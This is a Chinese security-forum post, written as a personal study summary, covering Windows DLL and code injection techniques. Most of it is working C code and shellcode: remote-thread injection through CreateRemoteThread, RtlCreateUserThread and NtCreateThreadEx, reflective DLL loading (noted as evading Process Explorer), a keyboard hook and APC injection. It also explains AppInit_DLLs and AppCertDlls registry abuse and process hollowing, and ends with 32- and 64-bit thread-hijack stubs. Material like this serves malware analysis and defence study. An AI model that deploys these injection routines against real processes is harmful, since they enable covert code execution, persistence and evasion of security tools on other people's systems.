首页
论坛
课程
招聘
[原创]dll注入&代码注入 学习总结
2021-9-17 20:18 16565

[原创]dll注入&代码注入 学习总结

2021-9-17 20:18
16565

dll注入&代码注入

CreateRemoteThread

思路:在目标进程中申请一块内存并向其中写DLL路径,然后调用 CreateRemoteThread ,(在自己进程中 创建远程线程到到目标进程)在目标进程中创建一个线程。LoadLibrary()”函数作为线程的启动函数,来加载待注入的DLL文件 ,LoadLibrary()参数 就是存放DLL路径的内存指针. 这时需要目标进程的4个权限(PROCESS_CREATE_THREAD,PROCESS_QUERY_INFORMATION,PROCESS_VM_OPERATION,PROCESS_VM_WRITE)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
    //计算DLL路径名所需的字节数
    DWORD dwSize = (lstrlenW(pszLibFile) + 1) * sizeof(wchar_t);
 
    // 获取传递进程ID的进程句柄
    HANDLE hProcess = OpenProcess(
        PROCESS_QUERY_INFORMATION |
        PROCESS_CREATE_THREAD |
        PROCESS_VM_OPERATION |
        PROCESS_VM_WRITE,//目标进程的四个权限
        FALSE, dwProcessId);
 
    // 在远程进程中为路径名分配空间
    LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
 
 
    // 将DLL的路径名复制到远程进程地址空间
    //pszLibFile:要注入的dll的路径  pathname
    DWORD n = WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL);
 
    //在Kernel32.dll中获取LoadLibraryW的实际地址
    PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
 
 
    //创建一个调用LoadLibraryW(DLLPathname)的远程线程
    // CreateRemoteThread(目标进程句柄,NULL,0,线程函数指针,线程函数参数,0,NULL)
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, pszLibFileRemote, 0, NULL);
 
 
    // 等待远程线程终止
    WaitForSingleObject(hThread, INFINITE);
 
    // 释放包含DLL路径名的远程内存并关闭句柄
    if (pszLibFileRemote != NULL) //开辟的内存已经注入进数据
        VirtualFreeEx(hProcess, pszLibFileRemote, 0, MEM_RELEASE);
    //关闭线程和进程函数句柄
    if (hThread != NULL)
        CloseHandle(hThread);
 
    if (hProcess != NULL)
        CloseHandle(hProcess);
 
    return(0);
}

RtlCreateUserThread

RtlCreateUserThread()”调用“NtCreateThreadEx(),这意味着“RtlCreateUserThread()”是“NtCreateThreadEx()”的一个小型封装函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
 
 
    LPVOID LoadLibraryAddress = (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
 
 
    RtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlCreateUserThread");
 
 
#ifdef _DEBUG
    wprintf(TEXT("[+] Found at 0x%08x\n"), (UINT)RtlCreateUserThread);
    wprintf(TEXT("[+] Found at 0x%08x\n"), (UINT)LoadLibraryAddress);
#endif
 
    DWORD dwSize = (wcslen(pszLibFile) + 1) * sizeof(wchar_t);
 
    LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
 
 
    BOOL bStatus = WriteProcessMemory(hProcess, lpBaseAddress, pszLibFile, dwSize, NULL);
 
 
    bStatus = (BOOL)RtlCreateUserThread(
        hProcess,
        NULL,
        0,
        0,
        0,
        0,
        LoadLibraryAddress,
        lpBaseAddress,
        &hRemoteThread,
        NULL);
    if (bStatus < 0)
    {
        wprintf(TEXT("[-] Error: RtlCreateUserThread failed\n"));
        return(1);
    }
    else
    {
        wprintf(TEXT("[+] Remote thread has been created successfully ...\n"));
        WaitForSingleObject(hRemoteThread, INFINITE);
 
        CloseHandle(hProcess);
        VirtualFreeEx(hProcess, lpBaseAddress, dwSize, MEM_RELEASE);
        return(0);
    }
 
    return(0);
}

总结:

 

openprocess 获得目标进程句柄

 

getprocaddress 获得loadlibrary地址

 

getprocaddress 获得RtlCreateUserThread地址

 

获得dll文件==路径==大小

 

virtualalloc 在目标进程中开辟路径大小的空间

 

writeprocess写dll路径名进内存

 

bStatus = (BOOL)RtlCreateUserThread(
hProcess,
NULL,
0,
0,
0,
0,
LoadLibraryAddress,
lpBaseAddress, 存有dll路径的内存地址 指针类型
&hRemoteThread,
NULL);

NtCreateThreadEx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
    memset(&ntbuffer, 0, sizeof(NtCreateThreadExBuffer));
 
    DWORD dwSize = (lstrlenW(pszLibFile) + 1) * sizeof(wchar_t);
 
    HANDLE hProcess = OpenProcess(
        PROCESS_QUERY_INFORMATION |
        PROCESS_CREATE_THREAD |
        PROCESS_VM_OPERATION |
        PROCESS_VM_WRITE,
        FALSE, dwProcessId);
 
 
    LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
 
 
    int n = WriteProcessMemory(hProcess, pszLibFileRemote, (LPVOID)pszLibFile, dwSize, NULL);
 
 
    PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
 
    PTHREAD_START_ROUTINE ntCreateThreadExAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtCreateThreadEx");
 
 
    if (ntCreateThreadExAddr)
    {
        ntbuffer.Size = sizeof(struct NtCreateThreadExBuffer);
        ntbuffer.Unknown1 = 0x10003;
        ntbuffer.Unknown2 = 0x8;
        ntbuffer.Unknown3 = (DWORD*)&dwTmp2;
        ntbuffer.Unknown4 = 0;
        ntbuffer.Unknown5 = 0x10004;
        ntbuffer.Unknown6 = 4;
        ntbuffer.Unknown7 = (DWORD*)&dwTmp1;
        ntbuffer.Unknown8 = 0;
 
        LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx)ntCreateThreadExAddr;
 
        NTSTATUS status = funNtCreateThreadEx(
            &hRemoteThread,
            0x1FFFFF,
            NULL,
            hProcess,
            pfnThreadRtn,
            (LPVOID)pszLibFileRemote,
            FALSE,
            NULL,
            NULL,
            NULL,
            &ntbuffer //这里原来是NULL,但是跑的时候也可以注入,懵逼
            );
 
#ifdef _DEBUG
        wprintf(TEXT("[+] Status: %s\n"), status);
#endif
        if (status != NULL)        // FIXME: always returns NULL even when it suceeds. Go figure.
        {
            wprintf(TEXT("[-] NtCreateThreadEx Failed! [%d][%08x]\n"), GetLastError(), status);
            return(1);
        }
        else
        {
            wprintf(TEXT("[+] Success: DLL injected via NtCreateThreadEx().\n"));
            WaitForSingleObject(hRemoteThread, INFINITE);
        }
    }
 
    if (pszLibFileRemote != NULL)
        VirtualFreeEx(hProcess, pszLibFileRemote, 0, MEM_RELEASE);
 
    if (hRemoteThread != NULL)
        CloseHandle(hRemoteThread);
 
    if (hProcess != NULL)
        CloseHandle(hProcess);
 
    return(0);
}

总结:openprocess 获得目标进程句柄

 

getprocaddress 获得loadlibrary地址

 

getprocaddress 获得NtCreateThreadEx地址

 

获得dll文件==路径==大小

 

virtualalloc 在目标进程中开辟路径大小的空间

 

writeprocess写dll路径名进内存

 

利用NtCreateThreadEx 进行 dll注入

 

以上三种远程线程注入函数的区别:

 

CreateRemoteThread 和RtlCreateUserThread都调用 NtCreateThreadEx创建线程实体

 

RtlCreateUserThread不需要csrss验证登记 需要自己结束自己 而CreateRemoteThread 不一样,不用自己结束自己。

 

线程函数不由createthread执行 而是kernal32!baseThreadStart 或者 kernal32!baseThreadInitThunk 执行,结束后 还会调用 exitthread 和 rtlexituserthread 结束线程自身 。

ZwCreateThreadEx

同理,与CreateRemoteThread或RtlCreateUserThread或NtCreateThreadEx用法类似,也是创建远程线程实现注入

反射式dll注入

在别人的内存里调用自己编写的dll导出函数 ,自己dll导出函数里实现自我加载(加载PE的整个过程),少了使用LoadLibrary的过程。

 

反射式注入方式并没有通过LoadLibrary等API来完成DLL的装载,DLL并没有在操作系统中”注册”自己的存在,因此ProcessExplorer等软件也无法检测出进程加载了该DLL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
//LoadRemoteLibraryR 函数说明
extern "C" HANDLE __stdcall LoadRemoteLibraryR(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter);
 
DWORD demoReflectiveDllInjection(PCWSTR cpDllFile, DWORD dwProcessId)
{
    HANDLE hFile = NULL;//创建的dll文件句柄
    HANDLE hModule = NULL;//开辟的堆空间句柄
    HANDLE hProcess = NULL;//目标进程句柄
    LPVOID lpBuffer = NULL;
    DWORD dwLength = 0;
    DWORD dwBytesRead = 0;
 
    do
    {
        hFile = CreateFileW(cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
 
 
        dwLength = GetFileSize(hFile, NULL);
 
 
#ifdef _DEBUG
        wprintf(TEXT("[+] File Size: %d\n"), dwLength);
#endif
        //为dll文件开辟堆空间 !!!!!!!!这是在自己的进程内存中  分配堆内存
        lpBuffer = HeapAlloc(GetProcessHeap(), 0, dwLength);
 
        //将dll文件读进开辟的堆空间中 hfile--》lpbuffer
        if (ReadFile(hFile, lpBuffer, dwLength, &dwBytesRead, NULL) == FALSE) BREAK_WITH_ERROR("[-] Failed to alloc a buffer!");
        //获得目标进程的句柄
        hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId);
 
        // LoadRemoteLibraryR:在dll模块加载到内存时获取入口点,并且实现调用该函数(采用rtlcreateuserthread的方式)远程线程注入
 
 
 
 
        hModule = LoadRemoteLibraryR(hProcess, lpBuffer, dwLength, NULL);
 
 
        WaitForSingleObject(hModule, -1);
 
    } while (0);
 
    //注入完毕,释放堆空间,关闭进程句柄
    if (lpBuffer) HeapFree(GetProcessHeap(), 0, lpBuffer);
 
    if (hProcess) CloseHandle(hProcess);
 
    return 0;
}

LoadRemoteLibraryR核心代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
            //检查库是否有ReflectiveLoader
 
            // 获得dll文件的入口点偏移
            dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer);//lpbuffer:堆内存的指针 指向存有dll文件的堆内存空间
 
 
            // alloc memory (RWX) in the host process for the image...
            //为映像分配内存
            lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 
 
            // write the image into the host process...
            //将映像写入目标进程
 
 
            /*
            BOOL WriteProcessMemory(
            HANDLE hProcess,
                LPVOID lpBaseAddress, 要写的内存首地址
                LPVOID lpBuffer, 指向要写的数据的指针
                DWORD nSize,
                LPDWORD lpNumberOfBytesWritten
                );
                */
 
                //将映像写入目标进程  lpRemoteLibraryBuffer  在目标进程中分配的内存空间 lpBuffer在该进程内存空间中分配的堆内存
 
 
            // add the offset to ReflectiveLoader() to the remote library address...
            //lpRemoteLibraryBuffer 分配的内存地址 +dwReflectiveLoaderOffset  入口点偏移
 
            lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset);
 
            // create a remote thread in the host process to call the ReflectiveLoader!
            //OutputDebugString("INJECTING DLL!");
 
            //本身反射性dll 就隐蔽性高,自然不可以用createremoteprocess
 
            RtlCreateUserThread = (PRTL_CREATE_USER_THREAD)(GetProcAddress(GetModuleHandle(TEXT("ntdll")), "RtlCreateUserThread"));
            RtlCreateUserThread(hProcess, NULL, 0, 0, 0, 0, lpReflectiveLoader, lpParameter, &hThread, NULL); //lpReflectiveLoader 线程函数地址,dll入口函数地址 lpParameter 参数
 
 
            WaitForSingleObject(hThread, INFINITE);
 
            //释放掉为dll映像分配的内存
            VirtualFreeEx(hProcess, lpRemoteLibraryBuffer, dwLength, MEM_RELEASE);
 
        } while (0);
 
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
 
        hThread = NULL;
    }
 
    return hThread;
}

总结:

 

在自己进程内存中heapalloc

 

将dll文件 readfile进heapalloc出的内存中

 

openprocess 获得进程句柄

 

LoadRemoteLibraryR 函数获得dll入口函数的地址,并且利用远程线程注入rtlcreateuserprocess 实现 对dll入口函数的调用。

 

{获得dl文件的入口点偏移 : GetReflectiveLoaderOffset(lpBuffer);//lpbuffer:堆内存的指针 指向存有dll文件的堆内存空间

 

为映像分配内存 virtualalloc

 

writeprocessmemory 映像写进目标进程内存

 

函数真实地址是 分配的内存首地址加上函数在dll文件中的偏移

 

远程线程函数注入 call

 

}

SetWindowsHookE

在这里插入图片描述

 

在这里插入图片描述
在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
    DWORD dwThreadId = getThreadID(dwProcessId);   
 
#ifdef _DEBUG
    wprintf(TEXT("[+] Using Thread ID %u\n"), dwThreadId);
#endif
 
    HMODULE dll = LoadLibraryEx(pszLibFile, NULL, DONT_RESOLVE_DLL_REFERENCES);
 
 
    // Your DLL needs to export the 'poc' function
    HOOKPROC addr = (HOOKPROC)GetProcAddress(dll, "poc");
 
 
    HWND targetWnd = FindWindow(NULL, strProcName);
    GetWindowThreadProcessId(targetWnd, &dwProcessId);
 
    HHOOK handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, dwThreadId);
    if (handle == NULL)
    {
        wprintf(TEXT("[-] Error: The KEYBOARD could not be hooked.\n"));
        return(1);
    }
    else
    {
        wprintf(TEXT("[+] Program successfully hooked.\nPress enter to unhook the function and stop the program.\n"));
        getchar();
        UnhookWindowsHookEx(handle);
    }
 
    return(0);
}

APC注入

APC 异步过程调用

异步过程调用是一种能在特定线程环境中异步执行的系统机制。

 

MSDN说,要使用例如线程调用SignalObjectAndWait、WaitForSingleObjectE、WaitForMultipleObjectsEx、SleepEx等等等这些函数才会触发

 

使用QueueUserAPC函数插入APC函数,QueueUserAPC内部调用的是NtQueueApcThread,再内部是KiUserApcDispatcher。
攻击者可以将恶意代码作为一个APC函数插入APC队列(调用QueueUserAPC或NtQueueApcThread),而这段恶意代码一般实现加载DLL的操作,实现DLL注入。

注入方法的原理:

1.当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断

 

2.当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数

 

3.我们利用QueueUserApc,往这个队列中插入一个回调

 

4.插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去,写入的是Dll的路径。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//1.查找窗口
  HWND hWnd = ::FindWindow(NULL, TEXT("APCTest"));
  if (NULL == hWnd)
  {
    return;
  }
  /*2.获得进程的PID,当然通用的则是你把进程PID当做要注入的程序,这样不局限
  于窗口了.这里简单编写,进程PID可以快照遍历获取
  */
  DWORD dwPid = 0;
  DWORD dwTid = 0;
  dwTid = GetWindowThreadProcessId(hWnd, &dwPid);
 
  //3.打开进程
  HANDLE hProcess = NULL;
  hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
  if (NULL == hProcess)
  {
    return;
  }
  //4.成功了,申请远程内存
  void *lpAddr = NULL;
  lpAddr = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  if (NULL == lpAddr)
  {
    return;
  }
  //5.写入我们的DLL路径,这里我写入当前根目录下的路径
  char szBuf[] = "MyDll.dll";
  BOOL bRet = WriteProcessMemory(hProcess, lpAddr, szBuf, strlen(szBuf) + 1, NULL);
  if (!bRet)
  {
    return;
  }
  //6.根据线程Tid,打开线程句柄
  HANDLE hThread = NULL;
  hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, dwTid);
  if (NULL == hThread)
  {
    return;
  }
  //7.给APC队列中插入回调函数
  QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpAddr);
 
  CloseHandle(hThread);
  CloseHandle(hProcess);
1
2
3
4
5
DWORD QueueUserAPC(
PAPCFUNCpfnAPC, // APC function                 指向一个用户提供的APC函数的指针
HANDLEhThread, // handle to thread              指定特定线程的句柄。
ULONG_PTRdwData // APC function parameter        指定一个被传到pfnAPC参数指向的APC函数的值
);

PAPCFUNCpfnAPC :这个函数将在指定线程执行an alertable wait operation操作时被调用。

AppLint_DLLs 注册表项注入

1.概述:

这种注入方式有他的弊端,那就是注入的程序必须加载user32.dll,也就说通常是那些GUI程序才可以。原因是,每当启动一个GUI程序,他都会扫描注册表的AppInit_DLLs项,看看其中有没有制定的目标库,如果有,那就在程序运行时,首先主动加载该动态库,所以我们只需要将Dll完整路径写在这个位置,就可完成注入。值得一提的是,这样的Dll默认加载机制,,携带恶意代码的Dll也会在此处注册,所以Win7之后,Windows在同一个路径下,增加了一个表项LoadAppInit_DLLs,它的默认值是0,也就是说不管你在AppInit_DLLs注册什么Dll,那都没用,不会被默认加载,所以想要顺利完成注入,需要完成这个LoadAppInit_DLLs的修改,将其修改为1。

2.流程:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows下找到AppInit_DLLs和LoadAppInit_DLLs项
在这里插入图片描述

 

将AppInit_DLLs值修改为目标Dll完整路径
在这里插入图片描述

 

修改LoadAppInit_DLLs值为1(意思是允许默认加载动态库)

AppCert DLL 注入

如果有进程使用了CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTokenW或WinExec
函数,那么此进程会获取HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\AppCertDlls注册表项,此项下的dll都会被加载到此进程。
此技术的实现逻辑是CreateProcess、CreateProcessAsUser、CreateProcessWithLoginW、CreateProcessWithTokenW或WinExec
函数在创建进程的时候其内部会调用BasepIsProcessAllowed函数,而BasepIsProcessAllowed则会打开AppCertDlls注册表项,将此项下的dll都加载到进程中。
CreateProcess过程有七个阶段,BasepIsProcessAllowed的过程发生在阶段2——创建文件映像和兼容性检查之间。
值得注意的是win xp-win 10 默认不存在这个注册表项,为了利用该技术需要自行创建AppCertDlls项。

 

补充:CreateProcess过程有七个阶段详解CreateProcess调用内核创建进程的过程 - Gotogoo - 博客园 (cnblogs.com)

傀儡进程注入

==也是进程内存替换==

 

之前分析的病毒 使用傀儡进程注入(进程内存替换)达到进程隐藏的目的 ,傀儡进程是将目标进程的映射文件替换为指定的映射文件,替换后的进程称之为傀儡进程;常常有恶意程序将隐藏在自己文件内的恶意代码加载进目标进程,而在加载进目标进程之前,会利用ZwUnmpViewOfSection或者NtUnmapViewOfSection进行相关设置

流程概述:

直接将自身代码注入傀儡进程,不需要DLL。首先用CreateProcess来创建一个挂起的IE进程,创建时候就把它挂起。然后得到它的装载基址,使用函数ZwUnmapViewOfSection来卸载这个这个基址内存空间的数据,。再用VirtualAllocEx来个ie进程重新分配内存空间,大小为要注入程序的大小(就是自身的imagesize)。使用WriteProcessMemory重新写IE进程的基址,就是刚才分配的内存空间的地址。再用WriteProcessMemory把自己的代码写入IE的内存空间。用SetThreadContext设置下进程状态,最后使用ResumeThread继续运行IE进程。

相关技术点

1.创建挂起进程

系统函数CreateProcessW中参数dwCreationFlgs传递CREATE_SUSPEND便可以创建一个挂起的进程,进程被创建之后系统会为它分配足够的资源和初始化必要的操作,(常见的操作有:为进程分配空间,加载映像文件,创建主进程,将EIP指向代码入口点,并将主线程挂起等)

1
CreateProcessA(strTargetProcess.c_str(),NULL,NUL NULL, FALSE,CREATE_SUSPENDED, NULL, NULL,&stSi, &stPi)

2.利得到当前的线程上下文

相关的API和结构信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
BOOL WINAPI GetThreadContext(
  __in          HANDLE hThread,
  __in_out      LPCONTEXT lpContext
);
 
typedef struct _CONTEXT {
    DWORD ContextFlags;
    DWORD   Dr0;
    DWORD   Dr1;
    DWORD   Dr2;
    DWORD   Dr3;
    DWORD   Dr6;
    DWORD   Dr7;
    DWORD   SegGs;
    DWORD   SegFs;
    DWORD   SegEs;
    DWORD   SegDs;
    DWORD   Edi;
    DWORD   Esi;
    DWORD   Ebx;
    DWORD   Edx;
    DWORD   Ecx;
    DWORD   Eax;
    DWORD   Ebp;
    DWORD   Eip;
    DWORD   SegCs;              // MUST BE SANITIZED
    DWORD   EFlags;             // MUST BE SANITIZED
    DWORD   Esp;
    DWORD   SegSs;
    BYTE    ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
} CONTEXT;

获得线程信息代码

1
2
3
4
5
6
CONTEXT stThreadContext;
 stThreadContext.ContextFlags = CONTEXT_FULL;
 if (GetThreadContext(stPi.hThread, &stThreadContext) == 0)
 {
    return FALSE;
 }

3.清空目标进程的内存空间

目标进程被初始化后,进程的映像文件也随之被加载进对应的内存空间。傀儡进程在替换之前必须将目标进程的内容清除掉。此时要用到另外一个系统未文档化的函数NtUnmapViewOfSection,需要自行从ntdll.dll中获取。该函数需要指定的进程加载的基地址,基地址即是从第2步中的上下文取得。相关的函数说明及基地址计算方法如下:

1
2
3
4
NTSTATUS NtUnmapViewOfSection(
  _In_     HANDLE ProcessHandle,
  _In_opt_ PVOID  BaseAddress
);

ontext.Ebx+ 8 = 基地址的地址,因此从context.Ebx + 8的地址读取4字节的内容并转化为DWORD类型,既是进程加载的基地址。

4.重新分配空间

在第3步中,NtUnmapViewOfSection将原始空间清除并释放了,因此在写入傀儡进程之前需要重新在目标进程中分配大小足够的空间。需要用到跨进程内存分配函数VirtualAllocEx。

 

一般情况下,在写入傀儡进程之前,需要将傀儡进程对应的文件按照申请空间的首地址作为基地址进行“重定位”,这样才能保证傀儡进程的正常运行。为了避免这一步操作,可以以傀儡进程PE文件头部的建议加载基地址作为VirtualAllocEx 的lpAddress参数,申请与之对应的内存空间,然后以此地址作为基地址将傀儡进程写入目标进程,就不会存在重定位问题。关于“重定位”的原理可以自行网络查找相关资料。

5.写入傀儡进程

准备工作完成后,现在开始将傀儡进程的代码写入到对应的空间中,注意写入的时候要按照傀儡进程PE文件头标明的信息进行。一般是先写入PE头,再写入PE节,如果存在附加数据还需要写入附加数据。

6. 恢复现场并运行傀儡进程

在第2步中,保存的线程上下文信息需要在此时就需要及时恢复了。由于目标进程和傀儡进程的入口点一般不相同,因此在恢复之前,需要更改一下其中的线程入口点,需要用到系统函数SetThreadContext。将挂起的进程开始运行需要用到函数ResumeThread。

7.傀儡进程创建过程总结:

(1) CreateProcess一个进程,并挂起,即向dwCreationFlags 参数传入CREATE_SUSPENDED;

 

(2) GetThreadContext获取挂起进程CONTEXT,其中,EAX为进程入口点地址,EBX指向进程PEB;

 

(3) ZwUnmapViewOfSection卸载挂起进程内存空间数据;

 

(4) VirtualAlloc分配内存空间;

 

(5) WriteProcessMemory将恶意代码写入分配的内存;

 

(6) SetThreadContext设置挂起的进程的状态;

 

(6) ResumeThread唤醒进程运行。

 

傀儡进程是恶意软件隐藏自身代码的常用方式,在调式过程中,若遇到傀儡进程,需要将创建的子进程数据从内存中dump出来,作为PE文件单独调试,dump的时机为ResumeThead调用之前,此时傀儡进程内存数据已经完全写入,进程还未正式开始运行。

 

若dump后文件无法运行,OD加载失败,则需要做如下修复:

 

(1) FileAlignment值修改为SectionAlignment值;

 

(2) 所有section的Raw Address值修改为Virtual Address.

代码:

32位环境下的代码

1
2
3
4
5
6
7
8
9
0x68, 0xCC, 0xCC, 0xCC, 0xCC,   // push 0xDEADBEEF (为返回地址占位)
0x9c,                           // pushfd (保存标志和寄存器)
0x60,                           // pushad
0x68, 0xCC, 0xCC, 0xCC, 0xCC,   // push 0xDEADBEEF (为DLL路径名称占位)
0xb8, 0xCC, 0xCC, 0xCC, 0xCC,   // mov eax, 0xDEADBEEF (为LoadLibrary函数占位)
0xff, 0xd0,                     // call eax (调用LoadLibrary函数)
0x61,                           // popad (恢复标志和寄存器)
0x9d,                           // popfd
0xc3                            // ret

64位环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
0x50,                                                       // push rax (保存RAX寄存器)
0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, 0CCCCCCCCCCCCCCCCh (为返回地址占位)
0x9c,                                                       // pushfq
0x51,                                                       // push rcx
0x52,                                                       // push rdx
0x53,                                                       // push rbx
0x55,                                                       // push rbp
0x56,                                                       // push rsi
0x57,                                                       // push rdi
0x41, 0x50,                                                 // push r8
0x41, 0x51,                                                 // push r9
0x41, 0x52,                                                 // push r10
0x41, 0x53,                                                 // push r11
0x41, 0x54,                                                 // push r12
0x41, 0x55,                                                 // push r13
0x41, 0x56,                                                 // push r14
0x41, 0x57,                                                 // push r15
0x68,0xef,0xbe,0xad,0xde,                                   // fastcall调用约定
0x48, 0xB9, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rcx, 0CCCCCCCCCCCCCCCCh (为DLL路径名称占位)
0x48, 0xB8, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // mov rax, 0CCCCCCCCCCCCCCCCh (为LoadLibrary函数占位)
0xFF, 0xD0,                                                 // call rax (调用LoadLibrary函数)
0x58,                                                       // pop dummy
0x41, 0x5F,                                                 // pop r15
0x41, 0x5E,                                                 // pop r14
0x41, 0x5D,                                                 // pop r13
0x41, 0x5C,                                                 // pop r12
0x41, 0x5B,                                                 // pop r11
0x41, 0x5A,                                                 // pop r10
0x41, 0x59,                                                 // pop r9
0x41, 0x58,                                                 // pop r8
0x5F,                                                       // pop rdi
0x5E,                                                       // pop rsi
0x5D,                                                       // pop rbp
0x5B,                                                       // pop rbx
0x5A,                                                       // pop rdx
0x59,                                                       // pop rcx
0x9D,                                                       // popfq
0x58,                                                       // pop rax
0xC3                                                        // ret

在我们想目标进程注入这段代码之前,以下占位符需要修改填充:

 

·返回地址(代码桩执行完毕之后,线程恢复应回到的地址)

 

·DLL路径名称

 

·LoadLibrary()函数地址

 

而这也是进行劫持,挂起,注入和恢复线程这一系列操作的时机。

 

32位:

1
2
3
memcpy((void *)((unsigned long)sc + 1), &oldIP, 4);
    memcpy((void *)((unsigned long)sc + 8), &lpDllAddr, 4);
    memcpy((void *)((unsigned long)sc + 13), &LoadLibraryAddress, 4);

64位:

1
2
3
memcpy(sc + 3, &oldIP, sizeof(oldIP));
    memcpy(sc + 41, &lpDllAddr, sizeof(lpDllAddr));
    memcpy(sc + 51, &LoadLibraryAddress, sizeof(LoadLibraryAddress));

32位注入核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
 
DWORD LoadLibraryAddress = (DWORD)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
SIZE_T dwSize = (wcslen(pszLibFile) + 1) * sizeof(wchar_t);
 
LPVOID lpDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
 
 
stub = VirtualAllocEx(hProcess, NULL, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 
 
BOOL bStatus = WriteProcessMemory(hProcess, lpDllAddr, pszLibFile, dwSize, NULL);
 
 
threadID = getThreadID(dwProcessId);
hThread = OpenThread((THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME), false, threadID);
 
 
 
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(hThread, &ctx);
oldIP = ctx.Eip;
ctx.Eip = (DWORD)stub;
ctx.ContextFlags = CONTEXT_CONTROL;
 
VirtualProtect(sc, stubLen, PAGE_EXECUTE_READWRITE, &oldprot);
memcpy((void *)((unsigned long)sc + 1), &oldIP, 4);
memcpy((void *)((unsigned long)sc + 8), &lpDllAddr, 4);
memcpy((void *)((unsigned long)sc + 13), &LoadLibraryAddress, 4);
 
WriteProcessMemory(hProcess, stub, sc, stubLen, NULL);
SetThreadContext(hThread, &ctx);
 
ResumeThread(hThread);

64位同理;

线程执行劫持

